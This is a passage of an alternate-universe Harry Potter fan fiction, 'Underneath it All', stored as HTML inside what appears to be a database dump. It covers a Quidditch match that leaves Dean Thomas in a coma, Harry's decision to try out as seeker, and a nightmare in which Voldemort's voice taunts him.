shut.<br>\n<br>\n<br>\n\n<center>~*~</center>\n<br>\n<br>\n<br>\n<br>\n&quot;Minerva, what books did you exactly put on Mr. Potter\'s bed?&quot; <br>\n<br>\nProfessor McGonagall stood silently by the headmaster of Hogwarts as they\nboth stared intently at the sleeping boy. She walked towards the bed and\npicked up the books that were lying about on the carpet next to it. She walked\nback towards Professor Dumbledore who was sitting on one of the many lounge\nchairs in Harry\'s room.<br>\n<br>\n&quot;Ah...I wonder which one he has read,&quot; Dumbledore waved his wand over the\npile and one of the many books flew into his hand and flopped open to a certain\npage. &quot;Ah, he has read about Voldemort.&quot;<br>\n<br>\n&quot;I think the boy will be having many questions for us, Albus,&quot; Professor\nMcGonagall noted in a whisper. &quot;He must have noticed the names in this paragraph.&quot;\nShe pointed a finger to a paragraph talking about the Potter\'s death.<br>\n<br>\nDumbledore stared at the words intently, the twinkle in his eyes seemed so\nmuch more noticeable in the dim room. &quot;It all depends on what the boy wants\nto believe.&quot;<br>\n<br>\nProfessor McGonagall glanced from the book in Dumbledore\'s hands, to the\nsleeping boy who seemed to be so peaceful. &quot;Is it really such a good idea...to\nlet the boy know..&quot;<br>\n<br>\n&quot;Minerva, Minvera. He will know sooner or later, and I think it is best if\nwe tell him first before...before any sudden...&quot; Dumbledore suddenly looked\nolder than he already was, his shoulders sagged a bit as his voice drifted\noff.<br>\n<br>\n&quot;Before...any attacks?&quot; <br>\n<br>\nDumbledore sighed and nodded, &quot;Yes, I know he is rising. I can feel it around\nus Minerva, and we must be prepared.&quot;<br>\n<br>\nProfessor McGonagall looked at the wise eyes of Albus Dumbledore wearily.\n&quot;The-boy-who-lived will finally know of his existence...&quot;<br>\n<br>\n<br>\n\n<center>~*~</center>\n<br>\n<br>\n<br>\n&quot;Ron calm down!&quot; A red headed girl complained as she shook her head.<br>\n<br>\n&quot;I can\'t Ginny! Don\'t you see, it\'s the first game of the season!&quot; Ron said\nwith his hands in the air. &quot;And it\'s against those darn, evil, weird, insane\nSlytherins!!&quot;<br>\n<br>\nHermione looked over to Ginny with a tired look. &quot;Oh please Ron! How many\nmatches have you played? Why are you so fidgety now!&quot;<br>\n<br>\n&quot;No! It\'s just that...it\'s just that...it\'s my last year here at Hogwarts!\nI want to...I don\'t know what I want! I mean I want..&quot;<br>\n<br>\n&quot;To leave in a <i>bang</i> like our wonderful brothers Fred and George?&quot;\nGinny said sarcastically.<br>\n<br>\n&quot;Exactly! I mean Ginny, you\'re only a sixth year so you don\'t know the anxiety\nof being a seventh year! It\'s just this desire to do something out of the\nordinary you know?&quot; Ron explained as he flopped down on the couch across\nfrom where Hermione was sitting with a book in her lap.<br>\n<br>\n&quot;Well, just relax or else you\'re not going to be able to keep those ..what\ndo you call those things? Waffles?&quot;<br>\n<br>\n&quot;Quaffles,&quot; Ron corrected, knowing that Hermione was never a big Quidditch\nfan.<br>\n<br>\n&quot;Yeah, Quaffles,&quot; Hermione said carefully. &quot;Yeah those things! If you\'re\nso nervous you probably won\'t be able to do whatever you do to them!&quot;<br>\n<br>\nRon looked at Hermione, &quot;Goodness Hermione! You\'ve watched all my games and\nyou still don\'t get what I do! I try to stop them from getting into the goal\nposts!&quot;<br>\n<br>\n&quot;Um right,&quot; She nodded swiftly while Ginny just giggled. &quot;And Ginny, you\njust...fly around?&quot;<br>\n<br>\nGinny just shook her head, a smile still on her face. &quot;Really Hermione! You\'re\nso smart but sometimes you\'re so slow!&quot; Hermione just stuck her tongue out\nand said, &quot;Well?&quot;<br>\n<br>\n&quot;Well, I\'m a Chaser, but I\'m not going to bother telling you what I do because\nyou\'ll probably forget by tomorrow,&quot; Ginny teased while Hermione pretended\nto look mad.<br>\n<br>\n&quot;Fine!! Both of you Weasleys are ganging up on me, aren\'t you!&quot; Hermione\nsnapped while opening her book and pretending to be reading intently.<br>\n<br>\n&quot;Oh Hermione! Stop reading for once,&quot; Ron sighed as he snatched the book\naway from Hermione. &quot;What is this stuff that you read anyways?&quot; He glanced\ndown and looked at Hermione. &quot;You\'re on Chapter 31! Bloody hell! We\'re only\nsuppose to be on Chapter 5!&quot;<br>\n<br>\nHermione shrugged, &quot;Well it doesn\'t hurt to get ahead does it?&quot;<br>\n<br>\n&quot;Unlike you Ron, you\'re probably on Chapter 0,&quot; Ginny looked at her brother\nwith a chuckle. &quot;Anyways, when do we have to get down to the pitch?&quot;<br>\n<br>\n&quot;After lunch,&quot; Ron started fidgeting with his fingers at the mention of the\nQuidditch match that very afternoon. &quot;Ugh I wish Angelina and everyone else\nwas still here!&quot;<br>\n<br>\n&quot;Yeah...too bad they had to graduate! But I don\'t mean our present team is\nany worse...I just miss their enthusiasm,&quot; Ginny said while she fingered\nher broom, a Nimbus 2000. She had been polishing it for the last twenty minutes\nto be exact.<br>\n<br>\nRon seemed really nervous now as he glanced at the clock. They had a spare\nblock right now, which meant no classes, but the clock said that it was five\nminutes until lunch. &quot;Get a grip on yourself!&quot; Hermione muttered. &quot;You\'ll\nbe fine!&quot;<br>\n<br>\n&quot;Ok, yeah, I\'ll be fine! I\'m going to go get the rest of the team and give\nthem a pep talk,&quot; Ron announced as he got up and left the head girl room.<br>\n<br>\nGinny frowned, &quot;He\'s turning into another Oliver Wood so it seems.&quot;<br>\n<br>\n<br>\n\n<center>~*~</center>\n<br>\n<br>\nHarry seemed ridiculously excited, just like the whole school was. Lunch\nwas just being cleared away and lots of students were already heading out\ntowards the Quidditch Pitch. <br>\n<br>\nHe was an avid fan of Quidditch, and Harry couldn\'t help but feel a little\ntwinge of jealousy when he watched the teams speed off and do a lap around\nthe field. The wind blowing at their determined faces, and the crowds cheering\nand waving banners showing their support. Harry, obviously, supported the\nGryffindors, and most of the school\'s population did too.<br>\n<br>\nSometimes, much to his embarrasment, he could imagine himself soaring above\nthe stands and waving down to the people that were waving scarlet and gold\nbanners..yet just as the image appeared it would disappear again. Harry sighed\nand joined the crowd of people leaking out of the mass doors.<br>\n<br>\n&quot;Good afternoon my fellow Hogwarts students and professors!!&quot; The familiar\nvoice of Lee Jordan\'s boomed out across the field. He had already graduated\nHogwarts just last year, but came back ocassionally to commentate the matches.<br>\n<br>\n&quot;It\'s the first match of the season, and it\'s Gryffinder versus Slytherin!\nOh look at that, there seems to be a greater number of Gryffindor supporters\naren\'t there?! YEAH!!&quot; <br>\n<br>\nProfessor McGonagall shot him a stern look which caused Lee Jordan to smile\nsheepishly and continue. &quot;The stands are all packed, and here comes...Captain\nWeasley! Another Weasley, Finnigan, MacDonald, Smith, Creevey, and Thomas!&quot;\nThe scarlet robed team came shooting out and were already lapping the field\nwith wide grins.<br>\n<br>\n&quot;And then comes Captain Malfoy, Bulstrode, Baddock, Zabini, Pritchard, Yu,\nand Bole!&quot; The Slytherin team dressed in green shot out and did their lap\nwith glints in their eyes and a couple of them had very foul looking smirks\non their faces.<br>\n<br>\n&quot;Madam Hooch is approaching the field! And...she releases the Quaffle and\nthe game BEGINS!!&quot; Lee Jordan announced as the field was immediately live\nwith action.<br>\n<br>\n&quot;Weasley in possession of the Quaffle! Oh no! Those dirty Slytherins, look\nwhat...WHAT! HEY! Oh good, Creevey has regained the Quaffle and is now heading\ntowards the goal posts! AND THERE WE GO! A wonderful goal tossed in by Colin\nCreevey bringing the score up to 10-0 Gryffindor!&quot;<br>\n<br>\n&quot;WATCH IT FINNIGAN! DAMN! THAT BLOODY GOOD FOR NOTHING BULSTRODE!&quot;<br>\n<br>\n&quot;JORDAN!&quot;<br>\n<br>\n&quot;Sorry professor,&quot; he muttered. &quot;I WOULD THINK THAT WAS A FOUL! But anyways,\nFinnigan has regained his balance on his broom, thanks for Miss. Zabini and\nher BLOODY BLUDGER!!&quot;<br>\n<br>\n&quot;Now, Slytherin in possession, with Baddock speeding off towards the Gryffindor\ngoals, he passes to Yu, Yu passes to Bole, they\'re getting ready to score...and\nYES! Wonderful save done by Gryffindor\'s captain, Ronald Weasley!&quot;<br>\n<br>\nRon grinned as he shook his fist in the air in triumpth. <br>\n<br>\nThe game went on steadily afterwards, the Slytherins were noticeably getting\nagitated. They seemed to be sending bludgers purposely in Ron\'s direction\nand their seeker, Dean Thomas.<br>\n<br>\n&quot;50-30, Gryffindor! COME ON GRYFFINDOR! You know you can do better than that!\nOUCH, THAT WAS A FOUL TO GRYFFINDOR!&quot;<br>\n<br>\nGinny easily made the shot into the hoop, gaining Gryffindor another ten\npoints. Ron glanced over towards Dean who was squinting in frustration at\nnot seeing the snitch. &quot;You could catch that thing right about now, Dean!&quot;<br>\n<br>\n&quot;I\'m trying! It\'s just that...&quot; However he didn\'t finish his sentence before\nhe suddenly sped off in the direction of the Slytherin goal posts.<br>\n<br>\nRon silently cheered for he knew that Dean had caught sight of the snitch.\nHe glanced nervously towards the Slytherin seeker and cursed under his breath\nthat he too, had seen it.<br>\n<br>\n&quot;Come on Dean!!&quot;<br>\n<br>\n&quot;It looks like the seekers on hot on the snitch\'s tail!! In fact, Malfoy\nis now gaining in on Thomas, and now they\'re side by side and fighting their\nway towards the snitch!!&quot;<br>\n<br>\nRon winced as he watched Malfoy ram his body into Thomas, causing him to\nswerve towards his right. There was a smirk on Malfoy\'s face and a scowl\non Dean\'s.<br>\n<br>\nNobody noticed it happen, but suddenly two bludgers came speeding towards\ntheir direction and it hit Dean Thomas square in the chest and head, sending\nhim completely off course and into the wall of the stands.<br>\n<br>\n&quot;BLOODY HELL!!&quot; Ron cursed and flew as quickly as he could towards his fallen\nteammate.<br>\n<br>\nMadam Hooch blew her whistle with Madam Pomfrey following right behind her\nwith a nasty scowl on her face. &quot;You kids just can\'t play safe can you?!&quot;\n<br>\n<br>\n&quot;Is he ok?!&quot; Ginny landed swiftly on the ground and quickly joined her brother\'s\nside.<br>\n<br>\n&quot;Doesn\'t look too good..&quot; Ron muttered as he glared towards the Slytherin\nbeaters who were pretending to look shocked. &quot;They\'re good for nothing prats\nI tell you.&quot;<br>\n<br>\n&quot;We all know that Ron,&quot; Ginny replied sadly.<br>\n<br>\nA stretcher was conjured and Madam Promfrey was bringing the fallen seeker\ntowards the Hospital Wing. &quot;That didn\'t look good...not good at all.&quot; Seamus\ncame up to them with a grim look across his face. <br>\n<br>\n&quot;...I reckon we might need another seeker.&quot; Colin mumbled.<br>\n<br>\nRon sighed and lifted his eyes away from the spot where Dean had landed in\na heap. &quot;I guess, if he doesn\'t recover in time for a rematch. And those\nbloody Slytherins! They\'re not going to get out of this easily, look what\nthey did!&quot;<br>\n<br>\n&quot;I bet Snape will come to their rescue or something,&quot; Natalie MacDonald rolled\nher eyes.<br>\n<br>\nRon just shook his head, &quot;I\'m pretty sure Dumbledore will do something about\nthis. But now I\'m just worrying about our seeker.&quot;<br>\n<br>\n&quot;Poor Dean..&quot; Everyone mumbled as they watched the crowd of students slowly\nheading back towards the castle with everyone chatting nervously about the\n&quot;incident&quot;.<br>\n<br>\n&quot;We\'re just going to have to find another darn good seeker, fast.&quot;<br>\n<br>\n<br>\n<br>\n<br>\nAN: And let\'s wonder who that seeker will be.......hehehehe.<br>\n<br>\n<br>\n<br>\n<br>\n<br>\n<br>\n<br>\n<br>\n<br>\n<br>\n<br>\n&nbsp;<br>\n<br>\n <i><br>\n <br>\n </i><br>\n <br>\n <br>\n <br>\n <br>\n <br>\n \n\n\n'),
	(207, 5, '\n          <br>\n          <br>\n          <br>\n          <br>\n          AN: Ok, explanation time =P Yesh, alot of you have been wondering \n why   Harry  is so darn slow and rather...stupid I guess to not realize that\n he\'s   related  to the Potter\'s in the book, or why he has a scar and all\n that complicated   stuff about his past! Well, here is my explanation to\nthe madness... <br>\n          &nbsp;&nbsp;&nbsp; In my story, Harry follows the\n same   idea  as in- growing up with the Dursleys. The Dursleys used the\nsame  lame   excuse  saying that Harry\'s parents died in a car accident.\nHarry,  being  told that  at a young age and being the quiet person he is,\nsimply  nods it  off and lets  his own thoughts come up with explanations\nof his parent\'s death. (He has  tried many times to figure out who his parents\nwere and how they died, but  was unable to- the reason will be revealed later\non in the story) &nbsp;As  said in Ch.1, Harry does realize he has a funky\nlooking scar on his forehead  but merily thinks of it as &quot;a funky looking\nscar&quot;. Basically, he hasn\'t been  told much about his childhood at all. And\nthen many of you must think, then  why doesn\'t he demand to know? Well in\nmy story, Harry isn\'t as...brave yet  and everything, he\'s more enclosed\nand timid. If he asks anything about his  parents, the Dursleys will simply\nglower at him and Harry would just slink  away. Hope that explains a few\nquestions floating in your heads =) And yes, this is an AU fic.<br>\n          <br>\n          Disclaimer: \n          I don\'t own any of the original characters in Harry Potter, J.\nK.  Rowling    does. The plot and any extra characters belong to me :)<br>\n          <br>\n          <br>\n          <br>\n          <br>\n  \n<center><br>\n<br>\nUnderneath it All<br>\n           Chapter Five: Dreaming</center>\n <br>\n         <br>\n         <br>\n         <br>\n         <br>\n         <br>\n         Harry, very much like the rest of the students, were shocked and \nfurious    with what had happened to Dean Thomas, the Gyffindor Seeker. Everyone\n was    muttering and shooting daggers towards the Slytherin table during\ndinner   that very evening, yet the Slytherins just had a triumphant look\nwritten   all across their faces, even though they hadn\'t won.<br>\n         <br>\n         There was to be a rematch as soon as Dean recovered, and everyone\n hoped    that it was soon. Harry scanned his eyes over his house members\nand noticed    that the Quidditch team was no where in sight. He shrugged,\n<i> Probably  with  Dean...<br>\n         <br>\n         </i>Harry glanced up when he heard the familiar voice of Hermione\n Granger,    in fact it was the laughter of Hermione that caught his attention.\n She was   surrounded by a couple girls from Gryffindor house, in which Harry \n recognized   as Lavender, Parvati, and the two other girls he had met on \nthe Hogwarts  Express.<br>\n         <br>\n         <i>She\'s the prettiest of them all...</i>Harry thought matter-of-factly, \n    then caught himself quickly and realized he was blushing. <i>God, what \n I\'m   a saying?! This is Hermione Granger, head girl, of course she\'s pretty! \n  NO!  I mean, ugh... </i>He shook his head in frustration as he quickly ignored\n   the conversation from the girls a few feet away from him.<br>\n        <br>\n        &quot;Oh no!!!&quot;<br>\n        <br>\n        Ginny Weasley had run up to the table with a devastated look written\n  across   her face, her blue eyes very wide. &quot;What is it Gin?&quot; Hermione\nasked   at once.<br>\n        <br>\n        The red head\'s sudden arrival had caused most of Gryffindor House \nto  turn   their heads and watch her with immense curiousity. &quot;It\'s Dean! \nAnd  Ron too!   He\'s having a fit!&quot;<br>\n        <br>\n        &quot;A fit? Who? Dean or Ron?&quot; Parvati questioned quickly, her usual\nbright    voice suddenly came out rather urgent and worried.<br>\n        <br>\n        &quot;Ron of course! Dean...well...he wouldn\'t be capable of having a\nfit   now   even if he wanted to!&quot; Ginny wailed and shook her head despairingly.\n  &quot;Dean\'s   in a coma, apparently that bludger that rammed into his head\ncaused   some  of his blood veins to clot or something like that! I wasn\'t\nreally  listening   to Madame Promfrey when she explained the details! But\nI think  I understood   the part that Dean was lucky enough to be alive even!&quot;<br>\n        <br>\n        &quot;A coma?!&quot; Hermione gaped.<br>\n        <br>\n        Lavender paled, &quot;Dean...? In a coma?&quot;<br>\n        <br>\n        &quot;Madame Promfrey says she doesn\'t know when he\'ll wake, and she\'s \ntried    her best to fix him up. I mean he won\'t have any more broken bones \nby tomorrow    morning, since they\'re fixable. But the inner damage is severe...they\n fear    he\'s never going to wake again!&quot; Ginny finished looking as if she\n had just    ran a marathon for she was panting from the effort at saying\neverything  so  quickly.<br>\n        <br>\n        &quot;Then Ron is going crazy for Dean\'s well-being and the Quidditch\nteam!   By  this rate, if Dean doesn\'t wake up soon in time for the rematch,\nMadame   Hooch  will obviously tell us to get another seeker! And well...there\njust   doesn\'t  seem to be anybody else with the skills!&quot; Ginny sighed in\nexasperation.    &quot;And  now Ron\'s snapping at anyone that goes near him!&quot;<br>\n        <br>\n        &quot;Oh no...&quot; Rina muttered. &quot;Ron\'s crazy when he\'s in that mood.&quot;<br>\n        <br>\n        Hermione frowned, &quot;I hate it when Ron acts like that! I mean, he\nshould    just settle down and relax and think of a solution!&quot;<br>\n        <br>\n        &quot;Easy for you to say Hermione! You know Ron\'s temper and how he tends \n  to  act like a child at times,&quot; Ginny said in rather wise tone. &quot;I mean, \n being  his little sister and all, I sometimes feel like his mother!&quot;<br>\n        <br>\n        &quot;Hallo my fellow Gryffindors.&quot;<br>\n        <br>\n        They turned their heads at their sudden interuption and caught sight \nof Seamus coming up to them  with   a rather tired expression. &quot;I <i>had</i>\n  to come here. I couldn\'t stand another   sentence coming out from Ron.\nNow he\'s getting all...all bouncy!&quot;<br>\n        <br>\n        &quot;Bouncy?&quot; Parvati raised an eyebrow.<br>\n        <br>\n        &quot;Bouncy in a bad way though. Not like he\'s jumping around in glee,&quot; \n Seamus   rolled his eyes. &quot;He\'s getting all nervous because Madame Hooch \ncame up to  the Hospital Wing to see how Dean was doing. To her belief, she \nthinks Dean  won\'t be awake until months and so...she\'s scheduled the rematch \nto be taken  place in...a week and a half.&quot;<br>\n        <br>\n        &quot;WHAT?!&quot; Ginny cried out in alarm, causing all the house tables to\n shift    their attention towards them.<br>\n        <br>\n        &quot;What is it <i>now</i> WEASLEY?! Scared of a little more action?!&quot; \nSomeone from   the  Slytherin table hollered over to them.<br>\n        <br>\n        Ginny spun around and glared at the Slytherin table with immense\nhatred.     &quot;Ooooh! I hate those nasty snake-eyed..<i>.things</i>!! They\ndon\'t deserve     to be human!!&quot;<br>\n        <br>\n        Hermione sighed as she witnessed the scene. It didn\'t seem to be\na  good   time  for the Gryffindor Quidditch Team at all.<br>\n        <br>\n        <br>\n  \n<center>~*~</center>\n <br>\n        <br>\n        <br>\n        <br>\n        The tired seventeen year old teen stretched his arms while stiffling \n a  yawn.  Harry Potter had just retired to Gryffindor common room after a\n long  class  of double Potions in which he had lost 20 points to Gryffindor \n for  being &quot;immensely stupid&quot; according to Snape. The potions master seemed \n  to despise the Gryffindors even more lately, probably because of the 150 \n points that were taken off from Slytherin for foul play during the Quidditch \n match.<br>\n        <br>\n        Harry didn\'t feel like going up to his room just yet. In fact he\nwas   staring   at the notice board right beside the boy\'s bathrooms of Gryffindor\n  Tower.   There were many pieces of lose paper tacked onto the board with\n  sayings  like &quot;<i>I lost my toad, if you find him, please contact Neville\n  Longbottom</i>  . &quot; or notes that simply read &quot;<i>meet me in the library\n after lunch</i> &quot;. However, one caught Harry\'s eyes the most. And that was\n the messily written  message that read \'<i>Gryffindor Seeker tryouts- Wednesday\n  November 16 at  lunchtime. Eat</i> <i>your lunch quickly and meet me out \non the pitch</i> <i>before 12:30 noon. Bring your broom, and if you don\'t \nhave one, there will be school rented brooms available. Thank you, Ron Weasley.\'<br>\n   <br>\n   </i>He really didn\'t know what he was thinking of, and why he was too, \nbut  he had a mad desire to tryout. Harry chuckled under his breath. <i>Harry \nPotter, Hogwarts most famous idiot/loser, becomes Gryffindor seeker! </i>\n  He couldn\'t help but find that thought amusing, yet depressing too. But \nwhat if he did get to become seeker? Quidditch was his favorite sport, he \nwould die to be on the team, die to even get to play! All Harry had ever done\nwas learn how to fly, and he noticed that back in their first year he had\nbeen quite good at it too. Maybe..maybe this was his chance to show everyone \nwhat he was capable of?<br>\n  <br>\n <i> Damnit, I\'m just going to make a fool out of myself.</i> Harry\'s brow \nfurrowed in deep thought as his eyes wandered to the neon orange notice again. \n<i>But...it doesn\'t hurt to try...right? But what if Ron just stares and asks\n\'Uh why are you here?\' and when you tell him you want to try out he\'ll laugh\nhis head off? ...Well does that matter? OF COURSE IT DOES...but why? I don\'t\nknow...I don\'t need another event for people to point their fingers at me\nand stare at me as if I was...Snape dressed in a frilly pink dress. </i><br>\n  <br>\n  Harry sighed.<br>\n  <br>\n  &quot;What\'s wrong?&quot;<br>\n  <br>\n  Harry jumped slightly at the sudden soft voice that interupted him. But \nhe could recognize that voice anywhere nowadays. &quot;Er...what?&quot; Was the only \nwords he could stutter as he met Hermione\'s concerned gaze.<br>\n  <br>\n  &quot;I don\'t know, you just seemed out of it,&quot; She shrugged as she dropped\nher  book bag down beside her. &quot;I just came back from the library mind you,\nand  I heard you mutter and sigh.&quot;<br>\n  <br>\n  &quot;Oh...er...well it\'s nothing,&quot; Harry stared at the bulging bag and then \nback at Hermione\'s bright face.<br>\n  <br>\n  &quot;Oh, I see,&quot; She seemed to have noticed Harry\'s observant eyes on her bag.\n &quot;Yeah, I have a huge essay to do for Muggle Studies! But it\'s really fascinating!\n And it\'s not that hard since I\'m muggle born.&quot;<br>\n  <br>\n  &quot;Really?&quot; Asked Harry in amazement. How could such a perfect witch be muggle\n born?<br>\n  <br>\n  Hermione simply nodded and glanced at Harry\'s expression. &quot;What? Do you \nhave something against muggle borns...if you do..&quot;<br>\n  <br>\n  &quot;No, no! Of course not...I\'m not like Malfoy..&quot; His voice trailed off as\n he nearly spat out the name.<br>\n  <br>\n  &quot;Exactly! That good for nothing prat! So you\'ve met him?&quot;<br>\n  <br>\n  &quot;Not exactly a good thing,&quot; Harry pointed out with a scowl. &quot;I see him\nteasing  muggle borns every time I see his face!&quot;<br>\n  <br>\n  Hermione frowned deeply, &quot;I just don\'t understand why he\'s so...so bad!!\n Just cause he\'s pure blooded...ugh!&quot; She huffed.<br>\n  <br>\n  Harry thought she looked rather cute that way but quickly dismissed the \nthought just as the portait hole swung open and revealed Ron.<br>\n  <br>\n  &quot;\'Mione! Just the person I needed to see! Thank bloody hell!&quot; Ron sighed\n in relief and caught sight of Harry. &quot;Oh, hey Harry.&quot;<br>\n  <br>\n  Harry nodded and noticed that Ron was looking bewildered and his flaming\n red hair seemed awfully ruffled. Hermione eyed her friend once over and\nsighed,  &quot;Really Ron! You have to learn to take care of yourself! You\'re\nwhat? Seventeen!&quot;<br>\n  <br>\n  &quot;I am taking care of myself! I\'m just damn mad at those..&quot;<br>\n  <br>\n  &quot;Ron!&quot; Hermione snapped in dispproval.<br>\n  <br>\n  &quot;Ok, ok! I\'m just ...<i>extremely</i>...mad at those Slytherins! Is that \nok mam\'?&quot; Ron muttered in annoyance as he literally fell onto the cushioned\n seat behind him.<br>\n <br>\n &quot;Is Dean ok?&quot; Harry broke the sudden silence.<br>\n <br>\n &quot;No, he\'s in a coma,&quot; Ron was staring hard at the mahogany table in front \nof him. &quot;Darn those Slytherins! I say their whole team should be suspended!&quot;<br>\n <br>\n &quot;Well we know that\'ll never happen Ron, &quot; Hermione had hulled her book bag \nonto her shoulder and looked just about ready to leave. &quot;I\'m leaving now, \nand I expect to see that you\'ve done at least something with your Muggle Studies\nessay.&quot;<br>\n <br>\n Ron groaned, &quot;Hermione! Give me a break, ok! The only reason I even decided \nto take Muggle Studies was because of you and your endless persuasions to \ntake it! And now I\'m stuck writing an essay about tebelvicun!&quot;<br>\n <br>\n &quot;Tebelvicun?&quot; Harry shifted his glasses and blinked.<br>\n <br>\n &quot;He means television,&quot; Hermione corrected before heading towards the potrait.<br>\n <br>\n &quot;Where are you going?&quot; Ron asked with slight interest.<br>\n <br>\n &quot;My room,&quot; Was her short reply before she was out of sight.<br>\n <br>\n Ron sighed and leaned back in his arm chair. &quot;She is so weird sometimes!&quot;<br>\n <br>\n &quot;...I..I guess,&quot; Harry shrugged. What could he say about a girl he didn\'t \nknow<i> too</i> much about?<br>\n <br>\n &quot;Tryouts are in two days, it\'s really rushed isn\'t it? I wonder who would \neven want to tryout, with the incident concerning Dean and all that...everyone\'s \nprobably scared out of their knickers,&quot; Ron looked distressed as he glanced \nat the notice board.<br>\n <br>\n &quot;No, well, even I would like to try out,&quot; Harry blurted out.<br>\n <br>\n Ron suddenly sat up straighter. &quot;You? Harry? Tryout?&quot;<br>\n <br>\n Harry shrunk back in his seat, turning redder by the second. &quot;Ok, I know, \nit\'s lame.&quot;<br>\n <br>\n &quot;NO! NOT AT ALL!!&quot; Ron nearly yelled as he leapt up from his seat and clapped \nHarry on the back. &quot;That\'s the kind of bravery we need nowadays! So you\'re \nreally going to try out?!&quot;<br>\n <br>\n &quot;Er...I\'m..I..&quot; Harry glanced at Ron\'s hopeful face and sighed. &quot;Er...I\nguess so.&quot;<br>\n <br>\n &quot;GREAT! Thanks for getting me back on my feet Harry, I think maybe more\npeople will try out now! I mean, even you do!&quot; Ron half walked half skipped\nup the stairs to the boy dormitories, leaving a shocked Harry behind.<br>\n <br>\n &quot;Was that a compliment or were you criticizing me?&quot; Harry wondered out loud. \n<i>He must be desperate to be that excited about me trying out...</i><br>\n  <br>\n That was when it dawned on him once again, at what he had just gotten himself \ninto. &quot;Oh great! I\'m not even sure if I can fly straight on a broom and now \nI\'m trying out to be a <i>seeker</i>!&quot; <br>\n <br>\n Harry scratched his head stressfully.<i> I\'ve really gone mad...</i><br>\n  &nbsp;<br>\n  <br>\n <br>\n  \n<center>~*~</center>\n <br>\n <br>\n <br>\n <i>&quot;Harry Potter...&quot;</i><br>\n <br>\n <i>He could feel his feet moving quicker as the voice hissed out his name, \ncold beaded sweat rolled down the side of his cheek and to his chin. He shivered \nslightly, although he didn\'t feel cold, in this case, he felt...nothing. Neither\ncold nor warmth seemed to exist anymore.</i><br>\n <br>\n <i>&quot;I\'ve been waiting.&quot;</i><br>\n <br>\n <i>All at once a bright light abrupted from nowhere and his eyes were blinded \nby the sudden contact of light. His arms mentally shifted to shield his eyes \nfrom the light, but soon the light seemed normal and he was able to look around\nhim.<br>\n <br>\n &quot;Where am I?&quot; He heard his own voice mutter and echo back towards him in \nthe vast room filled with marble sculptures of snakes, so detaily carved it\nseemed impossible. The marble tiling reflected his appearance as he glanced \ndown at its smooth entire.<br>\n <br>\n &quot;I\'ve been waiting.&quot; The same voice repeated in a whisper that sounded almost \nlike a hiss from a snake. &quot;For many years Harry Potter. I\'ve waited...seventeen \nyears.&quot;<br>\n <br>\n He could feel himself holding his breath, not really knowing where he was, \nand why he was here. Who did that voice belong to? &quot;Who..who are you?&quot; He \nwas quite surprised he could actually speak in this situation, for he was \nhead to toe in fright.</i><br>\n <br>\n <i>&quot;Fool...&quot; The voice muttered. &quot;They were all fools, not to have told\nyou of my existense long before now. They have made a great mistake to not\nwarn...the-boy-who-lived.&quot;<br>\n <br>\n &quot;What?&quot; He found himself question.<br>\n <br>\n &quot;I am surprised at Dumbledore,&quot; The voice merily ignored his questions.\n&quot;that he has chosen not to tell you of me earlier..warn you...tell you your...destiny.&quot;<br>\n <br>\n &quot;...My what?&quot;<br>\n <br>\n &quot;Destiny you fool!&quot; The voice boomed and he felt his ear drums vibrate with \nthe defening echo of the voice. &quot;They all believe that your destiny is to \ndefeat me...that you are their savior. They are so foolish, so pathetically \nstupid...even Albus Dumbledore.&quot;<br>\n </i><br>\n <i>&quot;Professor Dumbledore?&quot;<br>\n <br>\n &quot;Your end is drawing near Mr. Potter, I suggest you live the rest of it\nin pain,&quot; The voice laughed with such venom that he felt his whole being\nturn cold and a shooting pain resulted on his forehead.<br>\n <br>\n And this time, he was sure of it. It was his scar that was burning.<br>\n <br>\n Why?<br>\n <br>\n <br>\n <br>\n <br>\n <br>\n </i><br>\n<br>\n <br>\n <br>\n <br>\n <br>\n <br>\n <br>\n   <br>\n        <br>\n        <br>\n        <br>\n        <br>\n         <i><br>\n         <br>\n         </i><br>\n          <br>\n          <br>\n          <br>\n          <br>\n          &nbsp;<br>\n          <br>\n          <br>\n          <br>\n          <br>\n          <br>\n          <br>\n          <br>\n          <br>\n          <br>\n                   \n\n\n'),
	(207, 6, '\n           <br>\n     <br>\n<br>\n<br>\n<br>\nAN: Eeps, sorry for the lack of H/Hr moments, but of course, many to come\nI suppose =P I\'ll probably spent a chapter or two getting them going...hehehe...we\'ll \nsee.<br>\n     <br>\n  Disclaimer: I don\'t own any of the original characters in \nHarry Potter,     J. K. Rowling does. The plot and any extra characters belong\n to me :)<br>\n           <br>\n           <br>\n           <br>\n           <br>\n         \n<center><br>\n     <br>\n     <br>\n     <br>\n     Underneath it All<br>\n            Chapter Six: Tryouts and Troubles</center>\n     <br>\n           <br>\n           <br>\n           <br>\n           <br>\n           <br>\n   <br>\n   Harry Potter awoke muttering to himself as he reached towards his night\n    table for his glasses in the grim darkness. He blinked, trying to see\nthrough the blackness of   the room when he suddenly realized that his forehead\nfelt awfully warm.<br>\n           <br>\n           &quot;Ow..&quot; He grumbled and winced in pain while he placed a tentative \n finger    on his scar, almost frightened at why his scar tingled. Bringing \n down his finger, all his fears were confirmed. Blood. He knew it was blood. \n Blood from   his scar that had never bled until now? Harry was confused, \nand memories  of his dream came floating back to him.<br>\n           <br>\n           &quot;It felt real...awfully real,&quot; Harry sat up and glanced out the\n window    which  he had forgotten to pull the curtains over. It was still\n dark out,    and Harry  assumed that it was probably four in the morning\nor so. &quot;That   voice...&quot;<br>\n           <br>\n           He shook his head as he got out of bed. He might as well clean \noff   the   blood  if he didn\'t want to scare anyone with a bleeding forehead. \n Harry  reached  the bathroom connected to his room and lazily turned on the\n lights, wincing as the brighness startled his weary eyes.<br>\n           <br>\n           His hair wasn\'t sticking up as high as usual, in fact it seemed\n slightly     matted upon his head. A bit of the blood seemed to have dried\n but some  was   making its way slowly down towards the bridge of his nose.\n Not a very  pretty   sight.<br>\n           <br>\n           &quot;Why is it bleeding..&quot; Harry wondered out loud as he dabbed a\ndamp   cloth    on the wound. &quot;I mean...its been seventeen years since I\'ve\nhad   this thing,    and it has never caused me any trouble...&quot; He finished\ncleaning   off the  wound  and washed off the cloth hastily, flinging it\nonto one of  the many racks against the wall afterwards. &quot;Damn dreams...&quot;\nHe muttered  while walking  out of  the washroom and back towards his messy\nbed.<br>\n           <br>\n           <i>But it seemed too real... </i>Harry sighed as he slipped under \n the   scarlet   covers once again, blinking at the white ceiling that stared \n back at   him. <i>  Oh  now you\'re just being a coward...you\'re seventeen \n and you\'re   worrying  over some weird...nightmare. </i>He rolled over onto \n his side and  stared blankly at the wardrobe that met his gaze. <i>But it \n wasn\'t just a nightmare..it  was real..darn real...I could feel it..Feel \nit? Geez Potter, when did you  become the one to believe in these things that\nmost likekly Tralawney would  believe 